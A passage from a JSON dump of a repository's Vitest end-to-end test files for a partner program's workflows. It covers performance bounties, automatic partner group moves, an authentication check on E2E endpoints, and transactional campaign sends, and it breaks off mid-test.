expect(partner.links!.length).toBeGreaterThan(0);\n\n      const partnerLink = partner.links![0];\n\n      await trackE2ELead(http, partnerLink);\n\n      const submission = await verifyBountySubmission({\n        http,\n        bountyId: bounty.id,\n        partnerId: partner.id,\n        expectedStatus: \"submitted\",\n        minPerformanceCount: 1,\n      });\n\n      expect(submission.status).toBe(\"submitted\");\n      expect(submission.performanceCount).toBeGreaterThanOrEqual(1);\n      expect(submission.completedAt).not.toBeNull();\n    },\n  );\n\n  test(\"Workflow doesn't execute when goal not reached\", async () => {\n    const { status: bountyStatus, data: bounty } = await http.post<Bounty>({\n      path: \"/bounties\",\n      body: {\n        name: \"E2E Performance Bounty - Not Reached\",\n        description: \"Get 2 leads to earn $10\",\n        type: \"performance\",\n        startsAt: new Date().toISOString(),\n        endsAt: null,\n        rewardAmount: 1000,\n        performanceScope: \"new\",\n        groupIds: [E2E_PARTNER_GROUP.id],\n        performanceCondition: {\n          attribute: \"totalLeads\",\n          operator: \"gte\",\n          value: 2,\n        },\n      },\n    });\n\n    expect(bountyStatus).toEqual(200);\n\n    onTestFinished(async () => {\n      await deleteBountyAndSubmissions({\n        http,\n        bountyId: bounty.id,\n      });\n    });\n\n    const { status: partnerStatus, data: partner } =\n      await http.post<EnrolledPartnerProps>({\n        path: \"/partners\",\n        body: {\n          name: \"E2E Test Partner - Not Reached\",\n          email: randomPartnerEmail(),\n          groupId: E2E_PARTNER_GROUP.id,\n        },\n      });\n\n    expect(partnerStatus).toEqual(201);\n    expect(partner.links).not.toBeNull();\n\n    const partnerLink = partner.links![0];\n\n    await trackE2ELead(http, partnerLink);\n\n    await new Promise((resolve) => setTimeout(resolve, 10000));\n\n    const { data: submissions } = await http.get<any[]>({\n      path: `/bounties/${bounty.id}/submissions`,\n      query: { partnerId: partner.id },\n    });\n\n    expect(submissions.length).toBeGreaterThan(0);\n\n    const submission = submissions[0];\n    expect(submission.status).toBe(\"draft\");\n    expect(submission.performanceCount).toBe(1);\n    expect(submission.completedAt).toBeNull();\n  });\n\n  test(\"Disabled workflow doesn't execute\", async () => {\n    const { status: bountyStatus, data: bounty } = await http.post<Bounty>({\n      path: \"/bounties\",\n      body: {\n        name: \"E2E Performance Bounty - Disabled\",\n        description: \"Get 2 leads to earn $10\",\n        type: \"performance\",\n        startsAt: new Date().toISOString(),\n        endsAt: null,\n        rewardAmount: 1000,\n        performanceScope: \"new\",\n        groupIds: [E2E_PARTNER_GROUP.id],\n        performanceCondition: {\n          attribute: \"totalLeads\",\n          operator: \"gte\",\n          value: 2,\n        },\n      },\n    });\n\n    expect(bountyStatus).toEqual(200);\n\n    onTestFinished(async () => {\n      await deleteBountyAndSubmissions({\n        http,\n        bountyId: bounty.id,\n      });\n    });\n\n    // Find workflow via E2E endpoint and disable it\n    const { data: workflow } = await http.get<any>({\n      path: \"/e2e/workflows\",\n      query: { bountyId: bounty.id },\n    });\n\n    expect(workflow).not.toBeNull();\n\n    await http.patch({\n      path: `/e2e/workflows/${workflow.id}`,\n      body: { disabledAt: new Date().toISOString() },\n    });\n\n    const { status: partnerStatus, data: partner } =\n      await http.post<EnrolledPartnerProps>({\n        path: \"/partners\",\n        body: {\n          name: \"E2E Test Partner - Disabled\",\n          email: randomPartnerEmail(),\n          groupId: E2E_PARTNER_GROUP.id,\n        },\n      });\n\n    expect(partnerStatus).toEqual(201);\n    expect(partner.links).not.toBeNull();\n\n    const partnerLink = partner.links![0];\n\n    await trackE2ELead(http, partnerLink);\n\n    await new Promise((resolve) => setTimeout(resolve, 10000));\n\n    const { data: submissions } = await http.get<any[]>({\n      path: `/bounties/${bounty.id}/submissions`,\n      query: { partnerId: partner.id },\n    });\n\n    expect(submissions).toHaveLength(0);\n  });\n\n  test(\n    \"No duplicate execution on multiple triggers\",\n    { timeout: 90000 },\n    async () => {\n      const { status: bountyStatus, data: bounty } = await http.post<Bounty>({\n        path: \"/bounties\",\n        body: {\n          name: \"E2E Performance Bounty - No Duplicates\",\n          description: \"Get 2 leads to earn $10\",\n          type: \"performance\",\n          startsAt: new Date().toISOString(),\n          endsAt: null,\n          rewardAmount: 1000,\n          performanceScope: \"new\",\n          groupIds: [E2E_PARTNER_GROUP.id],\n          performanceCondition: {\n            attribute: \"totalLeads\",\n            operator: \"gte\",\n            value: 1,\n          },\n        },\n      });\n\n      expect(bountyStatus).toEqual(200);\n\n      onTestFinished(async () => {\n        await deleteBountyAndSubmissions({\n          http,\n          bountyId: bounty.id,\n        });\n      });\n\n      const { status: partnerStatus, data: partner } =\n        await http.post<EnrolledPartnerProps>({\n          path: \"/partners\",\n          body: {\n            name: \"E2E Test Partner - No Dup\",\n            email: randomPartnerEmail(),\n            groupId: E2E_PARTNER_GROUP.id,\n          },\n        });\n\n      expect(partnerStatus).toEqual(201);\n      expect(partner.links).not.toBeNull();\n\n      const partnerLink = partner.links![0];\n\n      await trackE2ELead(http, partnerLink);\n\n      await verifyBountySubmission({\n        http,\n        bountyId: bounty.id,\n        partnerId: partner.id,\n        expectedStatus: \"submitted\",\n        minPerformanceCount: 1,\n      });\n\n      const { data: submissions } = await http.get<any[]>({\n        path: `/bounties/${bounty.id}/submissions`,\n        query: { partnerId: partner.id },\n      });\n\n      expect(submissions).toHaveLength(1);\n      expect(submissions[0].status).toBe(\"submitted\");\n    },\n  );\n});\n"
  },
  {
    "path": "apps/web/tests/workflows/e2e-endpoints-guard.test.ts",
    "content": "import { describe, expect, test } from \"vitest\";\nimport { IntegrationHarness } from \"../utils/integration\";\n\ndescribe(\"E2E endpoints workspace guard\", async () => {\n  const h = new IntegrationHarness();\n  const { http } = await h.init();\n\n  test(\"Allows access from the Acme E2E workspace\", async () => {\n    const { status } = await http.get<any>({\n      path: \"/e2e/workflows\",\n      query: { bountyId: \"non-existent\" },\n    });\n\n    // 200 with null workflow (not found, but auth passed)\n    expect(status).toEqual(200);\n  });\n\n  test(\"Rejects access without authentication\", async () => {\n    const baseUrl = h.baseUrl;\n\n    const response = await fetch(`${baseUrl}/api/e2e/workflows?bountyId=test`, {\n      method: \"GET\",\n      headers: { \"Content-Type\": \"application/json\" },\n    });\n\n    expect(response.status).toEqual(401);\n  });\n});\n"
  },
  {
    "path": "apps/web/tests/workflows/move-group-workflow.test.ts",
    "content": "import { EnrolledPartnerProps } from \"@/lib/types\";\nimport { RESOURCE_COLORS } from \"@/ui/colors\";\nimport { PartnerGroup } from \"@dub/prisma/client\";\nimport { randomValue } from \"@dub/utils\";\nimport { E2E_PARTNER } from \"tests/utils/resource\";\nimport { describe, expect, onTestFinished, test } from \"vitest\";\nimport { randomPartnerEmail } from \"../utils/helpers\";\nimport { IntegrationHarness } from \"../utils/integration\";\nimport { trackE2ELead } from \"./utils/track-e2e-lead\";\nimport { verifyPartnerGroupMove } from \"./utils/verify-partner-group-move\";\n\nasync function cleanupOrphanedGroup(\n  http: any,\n  slug: string,\n  allGroups: PartnerGroup[],\n) {\n  const orphan = allGroups.find((g) => g.slug === slug);\n  if (orphan) await http.delete({ path: `/groups/${orphan.id}` });\n}\n\ndescribe.sequential(\"Workflow - MoveGroup\", async () => {\n  const h = new IntegrationHarness();\n  const { http } = await h.init();\n\n  const { data: allGroupsForCleanup } = await http.get<PartnerGroup[]>({\n    path: \"/groups\",\n  });\n\n  test(\"Workflow is created when move rules are configured\", async () => {\n    const slug = \"e2e-target-config\";\n    await cleanupOrphanedGroup(http, slug, allGroupsForCleanup);\n\n    const { status: targetStatus, data: targetGroup } =\n      await http.post<PartnerGroup>({\n        path: \"/groups\",\n        body: {\n          name: \"E2E Target Group - Config Test\",\n          slug,\n          color: randomValue(RESOURCE_COLORS),\n        },\n      });\n\n    expect(targetStatus).toEqual(201);\n\n    onTestFinished(async () => {\n      await http.delete({ path: `/groups/${targetGroup.id}` });\n    });\n\n    const { status: patchStatus } = await http.patch({\n      path: `/groups/${targetGroup.id}`,\n      body: {\n        moveRules: [\n          {\n            attribute: \"totalLeads\",\n            operator: \"between\",\n            value: { min: 3, max: 5 },\n          },\n        ],\n      },\n    });\n\n    expect(patchStatus).toEqual(200);\n\n    const { data: workflow } = await http.get<any>({\n      path: \"/e2e/workflows\",\n      query: { groupId: targetGroup.id },\n    });\n\n    expect(workflow).not.toBeNull();\n    expect(workflow.trigger).toBe(\"partnerMetricsUpdated\");\n    expect(workflow.disabledAt).toBeNull();\n\n    const workflowActions = workflow.actions as any[];\n    expect(workflowActions).toHaveLength(1);\n    expect(workflowActions[0].type).toBe(\"moveGroup\");\n    expect(workflowActions[0].data.groupId).toBe(targetGroup.id);\n\n    const workflowConditions = workflow.triggerConditions as any[];\n    expect(workflowConditions).toHaveLength(1);\n    expect(workflowConditions[0].attribute).toBe(\"totalLeads\");\n    expect(workflowConditions[0].operator).toBe(\"between\");\n    expect(workflowConditions[0].value).toStrictEqual({ min: 3, max: 5 });\n  });\n\n  test(\"Workflow is deleted when move rules are removed\", async () => {\n    const slug = \"e2e-remove-rules\";\n    await cleanupOrphanedGroup(http, slug, allGroupsForCleanup);\n\n    const { status: groupStatus, data: group } = await http.post<PartnerGroup>({\n      path: \"/groups\",\n      body: {\n        name: \"E2E Group - Remove Rules\",\n        slug,\n        color: randomValue(RESOURCE_COLORS),\n      },\n    });\n\n    expect(groupStatus).toEqual(201);\n\n    onTestFinished(async () => {\n      await http.delete({ path: `/groups/${group.id}` });\n    });\n\n    const { status: addStatus } = await http.patch({\n      path: `/groups/${group.id}`,\n      body: {\n        moveRules: [\n          {\n            attribute: \"totalLeads\",\n            operator: \"between\",\n            value: { min: 2, max: 3 },\n          },\n        ],\n      },\n    });\n\n    expect(addStatus).toEqual(200);\n\n    const { data: workflow } = await http.get<any>({\n      path: \"/e2e/workflows\",\n      query: { groupId: group.id },\n    });\n\n    expect(workflow).not.toBeNull();\n\n    const { status: removeStatus } = await http.patch({\n      path: `/groups/${group.id}`,\n      body: {\n        moveRules: [],\n      },\n    });\n\n    expect(removeStatus).toEqual(200);\n\n    const { data: deletedWorkflow } = await http.get<any>({\n      path: \"/e2e/workflows\",\n      query: { groupId: group.id },\n    });\n\n    expect(deletedWorkflow).toBeNull();\n  });\n\n  test(\"Disabled workflow doesn't execute partner move\", async () => {\n    const slug = \"e2e-target-disabled\";\n    await cleanupOrphanedGroup(http, slug, allGroupsForCleanup);\n\n    const { data: existingGroups } = await http.get<PartnerGroup[]>({\n      path: \"/groups\",\n    });\n\n    expect(existingGroups.length).toBeGreaterThan(0);\n    const sourceGroup = existingGroups[0];\n\n    const { status: targetStatus, data: targetGroup } =\n      await http.post<PartnerGroup>({\n        path: \"/groups\",\n        body: {\n          name: \"E2E Target Group - Disabled Move\",\n          slug,\n          color: randomValue(RESOURCE_COLORS),\n        },\n      });\n\n    expect(targetStatus).toEqual(201);\n\n    onTestFinished(async () => {\n      await http.delete({ path: `/groups/${targetGroup.id}` });\n    });\n\n    const { status: patchStatus } = await http.patch({\n      path: `/groups/${targetGroup.id}`,\n      body: {\n        moveRules: [\n          {\n            attribute: \"totalLeads\",\n            operator: \"between\",\n            value: { min: 2, max: 3 },\n          },\n        ],\n      },\n    });\n\n    expect(patchStatus).toEqual(200);\n\n    const { data: workflow } = await http.get<any>({\n      path: \"/e2e/workflows\",\n      query: { groupId: targetGroup.id },\n    });\n\n    expect(workflow).not.toBeNull();\n    expect(workflow.disabledAt).toBeNull();\n\n    await http.patch({\n      path: `/e2e/workflows/${workflow.id}`,\n      body: { disabledAt: new Date().toISOString() },\n    });\n\n    const { status: partnerStatus, data: partner } =\n      await http.post<EnrolledPartnerProps>({\n        path: \"/partners\",\n        body: {\n          name: \"E2E Test Partner - Disabled Move\",\n          email: randomPartnerEmail(),\n          groupId: sourceGroup.id,\n        },\n      });\n\n    expect(partnerStatus).toEqual(201);\n    expect(partner.links).not.toBeNull();\n\n    const partnerLink = partner.links![0];\n\n    await trackE2ELead(http, partnerLink);\n\n    await new Promise((resolve) => setTimeout(resolve, 10000));\n\n    const { data: partnerAfter } = await http.get<EnrolledPartnerProps>({\n      path: `/partners/${partner.id}`,\n    });\n\n    expect(partnerAfter.groupId).toBe(sourceGroup.id);\n  });\n\n  test(\"Workflow doesn't execute when conditions are not met\", async () => {\n    const slug = \"e2e-target-not-met\";\n    await cleanupOrphanedGroup(http, slug, allGroupsForCleanup);\n\n    const { data: existingGroups } = await http.get<PartnerGroup[]>({\n      path: \"/groups\",\n    });\n\n    expect(existingGroups.length).toBeGreaterThan(0);\n    const sourceGroup = existingGroups[0];\n\n    const { status: targetStatus, data: targetGroup } =\n      await http.post<PartnerGroup>({\n        path: \"/groups\",\n        body: {\n          name: \"E2E Target Group - Not Met\",\n          slug,\n          color: randomValue(RESOURCE_COLORS),\n        },\n      });\n\n    expect(targetStatus).toEqual(201);\n\n    onTestFinished(async () => {\n      await http.delete({ path: `/groups/${targetGroup.id}` });\n    });\n\n    const { status: patchStatus } = await http.patch({\n      path: `/groups/${targetGroup.id}`,\n      body: {\n        moveRules: [\n          {\n            attribute: \"totalLeads\",\n            operator: \"between\",\n            value: { min: 4, max: 5 },\n          },\n        ],\n      },\n    });\n\n    expect(patchStatus).toEqual(200);\n\n    const { status: partnerStatus, data: partner } =\n      await http.post<EnrolledPartnerProps>({\n        path: \"/partners\",\n        body: {\n          name: \"E2E Test Partner - Not Met\",\n          email: randomPartnerEmail(),\n          groupId: sourceGroup.id,\n        },\n      });\n\n    expect(partnerStatus).toEqual(201);\n    expect(partner.links).not.toBeNull();\n\n    const partnerLink = partner.links![0];\n\n    await trackE2ELead(http, partnerLink);\n\n    await new Promise((resolve) => setTimeout(resolve, 10000));\n\n    const { data: partnerAfter } = await http.get<EnrolledPartnerProps>({\n      path: `/partners/${partner.id}`,\n    });\n\n    expect(partnerAfter.groupId).toBe(sourceGroup.id);\n  });\n\n  test(\n    \"Workflow executes when conditions are met - partner moves to target group\",\n    { timeout: 90000 },\n    async () => {\n      const slug = \"e2e-target-exec\";\n      await cleanupOrphanedGroup(http, slug, allGroupsForCleanup);\n\n      const { data: existingGroups } = await http.get<PartnerGroup[]>({\n        path: \"/groups\",\n      });\n\n      expect(existingGroups.length).toBeGreaterThan(0);\n      const sourceGroup = existingGroups[0];\n\n      const { status: targetStatus, data: targetGroup } =\n        await http.post<PartnerGroup>({\n          path: \"/groups\",\n          body: {\n            name: \"E2E Target Group - Move Execution\",\n            slug,\n            color: randomValue(RESOURCE_COLORS),\n          },\n        });\n\n      expect(targetStatus).toEqual(201);\n\n      onTestFinished(async () => {\n        await http.delete({ path: `/groups/${targetGroup.id}` });\n      });\n\n      const { status: patchStatus } = await http.patch({\n        path: `/groups/${targetGroup.id}`,\n        body: {\n          moveRules: [\n            {\n              attribute: \"totalLeads\",\n              operator: \"between\",\n              value: { min: 1, max: 2 },\n            },\n          ],\n        },\n      });\n\n      expect(patchStatus).toEqual(200);\n\n      const { status: partnerStatus, data: partner } =\n        await http.post<EnrolledPartnerProps>({\n          path: \"/partners\",\n          body: {\n            name: \"E2E Test Partner - Move Execution\",\n            email: randomPartnerEmail(),\n            groupId: sourceGroup.id,\n          },\n        });\n\n      expect(partnerStatus).toEqual(201);\n      expect(partner.links).not.toBeNull();\n      expect(partner.groupId).toBe(sourceGroup.id);\n\n      const partnerLink = partner.links![0];\n\n      await trackE2ELead(http, partnerLink);\n\n      await verifyPartnerGroupMove({\n        http,\n        partnerId: partner.id,\n        expectedGroupId: targetGroup.id,\n      });\n    },\n  );\n\n  test(\n    \"No duplicate group moves on multiple triggers\",\n    { timeout: 90000 },\n    async () => {\n      const slug = \"e2e-target-no-dup\";\n      await cleanupOrphanedGroup(http, slug, allGroupsForCleanup);\n\n      const { data: existingGroups } = await http.get<PartnerGroup[]>({\n        path: \"/groups\",\n      });\n\n      expect(existingGroups.length).toBeGreaterThan(0);\n      const sourceGroup = existingGroups[0];\n\n      const { status: targetStatus, data: targetGroup } =\n        await http.post<PartnerGroup>({\n          path: \"/groups\",\n          body: {\n            name: \"E2E Target Group - No Dup Move\",\n            slug,\n            color: randomValue(RESOURCE_COLORS),\n          },\n        });\n\n      expect(targetStatus).toEqual(201);\n\n      onTestFinished(async () => {\n        await http.delete({ path: `/groups/${targetGroup.id}` });\n      });\n\n      const { status: patchStatus } = await http.patch({\n        path: `/groups/${targetGroup.id}`,\n        body: {\n          moveRules: [\n            {\n              attribute: \"totalLeads\",\n              operator: \"between\",\n              value: { min: 1, max: 2 },\n            },\n          ],\n        },\n      });\n\n      expect(patchStatus).toEqual(200);\n\n      const { status: partnerStatus, data: partner } =\n        await http.post<EnrolledPartnerProps>({\n          path: \"/partners\",\n          body: {\n            name: \"E2E Test Partner - No Dup Move\",\n            email: randomPartnerEmail(),\n            groupId: sourceGroup.id,\n          },\n        });\n\n      expect(partnerStatus).toEqual(201);\n      expect(partner.links).not.toBeNull();\n\n      const partnerLink = partner.links![0];\n\n      await trackE2ELead(http, partnerLink);\n\n      await verifyPartnerGroupMove({\n        http,\n        partnerId: partner.id,\n        expectedGroupId: targetGroup.id,\n      });\n\n      const { data: partnerAfter } = await http.get<EnrolledPartnerProps>({\n        path: `/partners/${partner.id}`,\n      });\n\n      expect(partnerAfter.groupId).toBe(targetGroup.id);\n    },\n  );\n\n  test(\"Multiple move rules can be configured (AND operator)\", async () => {\n    const slug = \"e2e-multi-rules\";\n    await cleanupOrphanedGroup(http, slug, allGroupsForCleanup);\n\n    const { status: groupStatus, data: group } = await http.post<PartnerGroup>({\n      path: \"/groups\",\n      body: {\n        name: \"E2E Group - Multiple Rules\",\n        slug,\n        color: randomValue(RESOURCE_COLORS),\n      },\n    });\n\n    expect(groupStatus).toEqual(201);\n\n    onTestFinished(async () => {\n      await http.delete({ path: `/groups/${group.id}` });\n    });\n\n    const { status: patchStatus } = await http.patch({\n      path: `/groups/${group.id}`,\n      body: {\n        moveRules: [\n          {\n            attribute: \"totalLeads\",\n            operator: \"between\",\n            value: { min: 2, max: 3 },\n          },\n          {\n            attribute: \"totalConversions\",\n            operator: \"between\",\n            value: { min: 1, max: 2 },\n          },\n        ],\n      },\n    });\n\n    expect(patchStatus).toEqual(200);\n\n    const { data: workflow } = await http.get<any>({\n      path: \"/e2e/workflows\",\n      query: { groupId: group.id },\n    });\n\n    expect(workflow).not.toBeNull();\n\n    const workflowConditions = workflow.triggerConditions as any[];\n    expect(workflowConditions).toHaveLength(2);\n    expect(workflowConditions[0].attribute).toBe(\"totalLeads\");\n    expect(workflowConditions[0].value).toStrictEqual({ min: 2, max: 3 });\n    expect(workflowConditions[1].attribute).toBe(\"totalConversions\");\n    expect(workflowConditions[1].value).toStrictEqual({ min: 1, max: 2 });\n  });\n\n  test(\"Workflow skips partner with groupMoveDisabledAt set\", async () => {\n    const slug = \"e2e-target-skip-partner-move\";\n\n    // Get the current group of E2E_PARTNER\n    const { data: partner, status: partnerStatus } =\n      await http.get<EnrolledPartnerProps>({\n        path: `/partners/${E2E_PARTNER.id}`,\n      });\n\n    expect(partnerStatus).toEqual(200);\n    expect(partner).not.toBeNull();\n    expect(partner.groupMoveDisabledAt).not.toBeNull();\n\n    const partnerLink = partner.links![0];\n\n    // Create a new group\n    const { data: targetGroup } = await http.post<PartnerGroup>({\n      path: \"/groups\",\n      body: {\n        name: \"E2E Target Group - Skip Partner Move\",\n        slug,\n        color: randomValue(RESOURCE_COLORS),\n      },\n    });\n\n    expect(targetGroup).not.toBeNull();\n\n    onTestFinished(async () => {\n      await http.delete({\n        path: `/groups/${targetGroup.id}`,\n      });\n    });\n\n    // Update the group with move rule\n    const { status: patchStatus } = await http.patch({\n      path: `/groups/${targetGroup.id}`,\n      body: {\n        moveRules: [\n          {\n            attribute: \"totalLeads\",\n            operator: \"gte\",\n            value: 1000,\n          },\n        ],\n      },\n    });\n\n    expect(patchStatus).toEqual(200);\n\n    await trackE2ELead(http, partnerLink);\n\n    await verifyPartnerGroupMove({\n      http,\n      partnerId: partner.id,\n      expectedGroupId: partner.groupId!,\n    });\n\n    const { data: partnerAfter } = await http.get<EnrolledPartnerProps>({\n      path: `/partners/${partner.id}`,\n    });\n\n    expect(partnerAfter.groupId).toBe(partner.groupId);\n    expect(partnerAfter.groupMoveDisabledAt).not.toBeNull();\n  });\n});\n"
  },
  {
    "path": "apps/web/tests/workflows/send-campaign-workflow.test.ts",
    "content": "import { EnrolledPartnerProps } from \"@/lib/types\";\nimport { Campaign } from \"@dub/prisma/client\";\nimport { subHours } from \"date-fns\";\nimport { describe, expect, onTestFinished, test } from \"vitest\";\nimport { randomPartnerEmail } from \"../utils/helpers\";\nimport { IntegrationHarness } from \"../utils/integration\";\nimport { E2E_USER_ID } from \"../utils/resource\";\n\ndescribe.sequential(\"Workflow - SendCampaign\", async () => {\n  const h = new IntegrationHarness();\n  const { http } = await h.init();\n\n  test(\"Workflow is created when transactional campaign is published\", async () => {\n    const { status: createStatus, data: campaign } = await http.post<{\n      id: string;\n    }>({\n      path: \"/campaigns\",\n      body: {\n        type: \"transactional\",\n      },\n    });\n\n    expect(createStatus).toEqual(201);\n    expect(campaign.id).toBeDefined();\n\n    const campaignId = campaign.id;\n\n    onTestFinished(async () => {\n      await h.deleteCampaign(campaignId);\n    });\n\n    const { status: updateStatus } = await http.patch<Campaign>({\n      path: `/campaigns/${campaignId}`,\n      body: {\n        name: \"E2E Test Campaign\",\n        subject: \"Welcome to our program!\",\n        bodyJson: {\n          type: \"doc\",\n          content: [\n            {\n              type: \"paragraph\",\n              content: [\n                {\n                  type: \"text\",\n                  text: \"Thank you for joining!\",\n                },\n              ],\n            },\n          ],\n        },\n        triggerCondition: {\n          attribute: \"partnerEnrolledDays\",\n          operator: \"gte\",\n          value: 1,\n        },\n      },\n    });\n\n    expect(updateStatus).toEqual(200);\n\n    const { status: publishStatus, data: publishedCampaign } =\n      await http.patch<Campaign>({\n        path: `/campaigns/${campaignId}`,\n        body: {\n          status: \"active\",\n        },\n      });\n\n    expect(publishStatus).toEqual(200);\n    expect(publishedCampaign.status).toBe(\"active\");\n\n    const { data: workflow } = await http.get<any>({\n      path: \"/e2e/workflows\",\n      query: { campaignId },\n    });\n\n    expect(workflow).not.toBeNull();\n    expect(workflow.trigger).toBe(\"partnerEnrolled\");\n    expect(workflow.disabledAt).toBeNull();\n\n    const workflowActions = workflow.actions as any[];\n    expect(workflowActions[0].type).toBe(\"sendCampaign\");\n    expect(workflowActions[0].data.campaignId).toBe(campaignId);\n  });\n\n  test(\"Workflow doesn't execute when campaign is in draft\", async () => {\n    const { status: createStatus, data: campaign } = await http.post<{\n      id: string;\n    }>({\n      path: \"/campaigns\",\n      body: {\n        type: \"transactional\",\n      },\n    });\n\n    expect(createStatus).toEqual(201);\n\n    const campaignId = campaign.id;\n\n    onTestFinished(async () => {\n      await h.deleteCampaign(campaignId);\n    });\n\n    const { status: updateStatus, data: updatedCampaign } =\n      await http.patch<Campaign>({\n        path: `/campaigns/${campaignId}`,\n        body: {\n          name: \"E2E Draft Campaign\",\n          subject: \"This should not be sent\",\n          bodyJson: {\n            type: \"doc\",\n            content: [\n              {\n                type: \"paragraph\",\n                content: [\n                  {\n                    type: \"text\",\n                    text: \"Draft content\",\n                  },\n                ],\n              },\n            ],\n          },\n          triggerCondition: {\n            attribute: \"partnerEnrolledDays\",\n            operator: \"gte\",\n            value: 1,\n          },\n        },\n      });\n\n    expect(updateStatus).toEqual(200);\n    expect(updatedCampaign.status).toBe(\"draft\");\n\n    const { data: workflow } = await http.get<any>({\n      path: \"/e2e/workflows\",\n      query: { campaignId },\n    });\n\n    expect(workflow).not.toBeNull();\n    expect(workflow.disabledAt).not.toBeNull();\n  });\n\n  test(\"Cron executes send campaign workflow\", async () => {\n    const { status: createStatus, data: campaign } = await http.post<{\n      id: string;\n    }>({\n      path: \"/campaigns\",\n      body: {\n        type: \"transactional\",\n      },\n    });\n\n    expect(createStatus).toEqual(201);\n\n    const campaignId = campaign.id;\n\n    onTestFinished(async () => {\n      await h.deleteCampaign(campaignId);\n    });\n\n    await http.patch({\n      path: `/campaigns/${campaignId}`,\n      body: {\n        name: \"E2E Cron Campaign\",\n        subject: \"Welcome!\",\n        bodyJson: {\n          type: \"doc\",\n          content: [\n            {\n              type: \"paragraph\",\n              content: [{ type: \"text\", text: \"Test content\" }],\n            },\n          ],\n        },\n        triggerCondition: {\n          attribute: \"partnerEnrolledDays\",\n          operator: \"gte\",\n          value: 1,\n        },\n        status: \"active\",\n      },\n    });\n\n    const { data: workflow } = await http.get<any>({\n      path: \"/e2e/workflows\",\n      query: { campaignId },\n    });\n\n    expect(workflow).not.toBeNull();\n\n    const { status, data } = await http.post<{ message: string }>({\n      path: `/e2e/trigger-workflow/${workflow.id}`,\n    });\n\n    expect(status).toEqual(200);\n    expect(data.message).toContain(\"Finished executing workflow\");\n  });\n\n  test(\"Cron skips disabled send campaign workflow\", async () => {\n    const { status: createStatus, data: campaign } = await http.post<{\n      id: string;\n    }>({\n      path: \"/campaigns\",\n      body: {\n        type: \"transactional\",\n      },\n    });\n\n    expect(createStatus).toEqual(201);\n\n    const campaignId = campaign.id;\n\n    onTestFinished(async () => {\n      await h.deleteCampaign(campaignId);\n    });\n\n    await http.patch({\n      path: `/campaigns/${campaignId}`,\n      body: {\n        name: \"E2E Disabled Cron Campaign\",\n        subject: \"Should not be sent\",\n        bodyJson: {\n          type: \"doc\",\n          content: [\n            {\n              type: \"paragraph\",\n              content: [{ type: \"text\", text: \"Test\" }],\n            },\n          ],\n        },\n        triggerCondition: {\n          attribute: \"partnerEnrolledDays\",\n          operator: \"gte\",\n          value: 1,\n        },\n        status: \"active\",\n      },\n    });\n\n    const { data: workflow } = await http.get<any>({\n      path: \"/e2e/workflows\",\n      query: { campaignId },\n    });\n\n    expect(workflow).not.toBeNull();\n\n    // Disable workflow via E2E endpoint\n    await http.patch({\n      path: `/e2e/workflows/${workflow.id}`,\n      body: { disabledAt: new Date().toISOString() },\n    });\n\n    const { status, data } = await http.post<{ message: string }>({\n      path: `/e2e/trigger-workflow/${workflow.id}`,\n    });\n\n    expect(status).toEqual(200);\n    expect(data.message).toContain(\"disabled\");\n\n    const { data: emailsSent } = await http.get<any[]>({\n      path: \"/e2e/notification-emails\",\n      query: { campaignId },\n    });\n\n    expect(emailsSent).toHaveLength(0);\n  });\n\n  test(\"Cron processes eligible partner enrollment\", async () => {\n    const { status: createStatus, data: campaign } = await http.post<{\n      id: string;\n    }>({\n      path: \"/campaigns\",\n      body: {\n        type: \"transactional\",\n      },\n    });\n\n    expect(createStatus).toEqual(201);\n\n    const campaignId = campaign.id;\n\n    onTestFinished(async () => {\n      await h.deleteCampaign(campaignId);\n    });\n\n    await http.patch({\n      path: `/campaigns/${campaignId}`,\n      body: {\n        name: \"E2E Send Campaign\",\n        subject: \"Welcome partner!\",\n        bodyJson: {\n          type: \"doc\",\n          content: [\n            {\n              type: \"paragraph\",\n              content: [{ type: \"text\", text: \"Hello!\" }],\n            },\n          ],\n        },\n        triggerCondition: {\n          attribute: \"partnerEnrolledDays\",\n          operator: \"gte\",\n          value: 1,\n        },\n        status: \"active\",\n      },\n    });\n\n    const { data: workflow } = await http.get<any>({\n      path: \"/e2e/workflows\",\n      query: { campaignId },\n    });\n\n    expect(workflow).not.toBeNull();\n\n    const { status: partnerStatus, data: partner } =\n      await http.post<EnrolledPartnerProps>({\n        path: \"/partners\",\n        body: {\n          name: \"E2E Test Partner - Campaign Send\",\n          email: randomPartnerEmail(),\n        },\n      });\n\n    expect(partnerStatus).toEqual(201);\n\n    // Backdate the enrollment to 18h ago so it falls in the cron window\n    await http.patch({\n      path: \"/e2e/enrollments\",\n      body: {\n        partnerId: partner.id,\n        createdAt: subHours(new Date(), 18).toISOString(),\n      },\n    });\n\n    const { status, data } = await http.post<{ message: string }>({\n      path: `/e2e/trigger-workflow/${workflow.id}`,\n    });\n\n    expect(status).toEqual(200);\n    expect(data.message).toContain(\"Finished executing workflow\");\n  });\n\n  test(\"Cron doesn't send campaign when partner doesn't meet conditions\", async () => {\n    const { status: createStatus, data: campaign } = await http.post<{\n      id: string;\n    }>({\n      path: \"/campaigns\",\n      body: {\n        type: \"transactional\",\n      },\n    });\n\n    expect(createStatus).toEqual(201);\n\n    const campaignId = campaign.id;\n\n    onTestFinished(async () => {\n      await h.deleteCampaign(campaignId);\n    });\n\n    await http.patch({\n      path: `/campaigns/${campaignId}`,\n      body: {\n        name: \"E2E No Match Campaign\",\n        subject: \"Should not be sent\",\n        bodyJson: {\n          type: \"doc\",\n          content: [\n            {\n              type: \"paragraph\",\n              content: [{ type: \"text\", text: \"Test\" }],\n            },\n          ],\n        },\n        triggerCondition: {\n          attribute: \"partnerEnrolledDays\",\n          operator: \"gte\",\n          value: 1,\n        },\n        status: \"active\",\n      },\n    });\n\n    const { data: workflow } = await http.get<any>({\n      path: \"/e2e/workflows\",\n      query: { campaignId },\n    });\n\n    expect(workflow).not.toBeNull();\n\n    // Create a partner enrolled just now — doesn't match the 12-24h window\n    const { status: partnerStatus, data: partner } =\n      await http.post<EnrolledPartnerProps>({\n        path: \"/partners\",\n        body: {\n          name: \"E2E Test Partner - No Match\",\n          email: randomPartnerEmail(),\n        },\n      });\n\n    expect(partnerStatus).toEqual(201);\n\n    const { status, data: triggerData } = await http.post<{ message: string }>({\n      path: `/e2e/trigger-workflow/${workflow.id}`,\n    });\n\n    expect(status).toEqual(200);\n    expect(triggerData.message).toContain(\"Finished executing workflow\");\n\n    const { data: emailsSent } = await http.get<any[]>({\n      path: \"/e2e/notification-emails\",\n      query: { campaignId, partnerId: partner.id },\n    });\n\n    expect(emailsSent).toHaveLength(0);\n  });\n\n  test(\"No duplicate campaign sends on multiple cron executions\", async () => {\n    const { status: createStatus, data: campaign } = await http.post<{\n      id: string;\n    }>({\n      path: 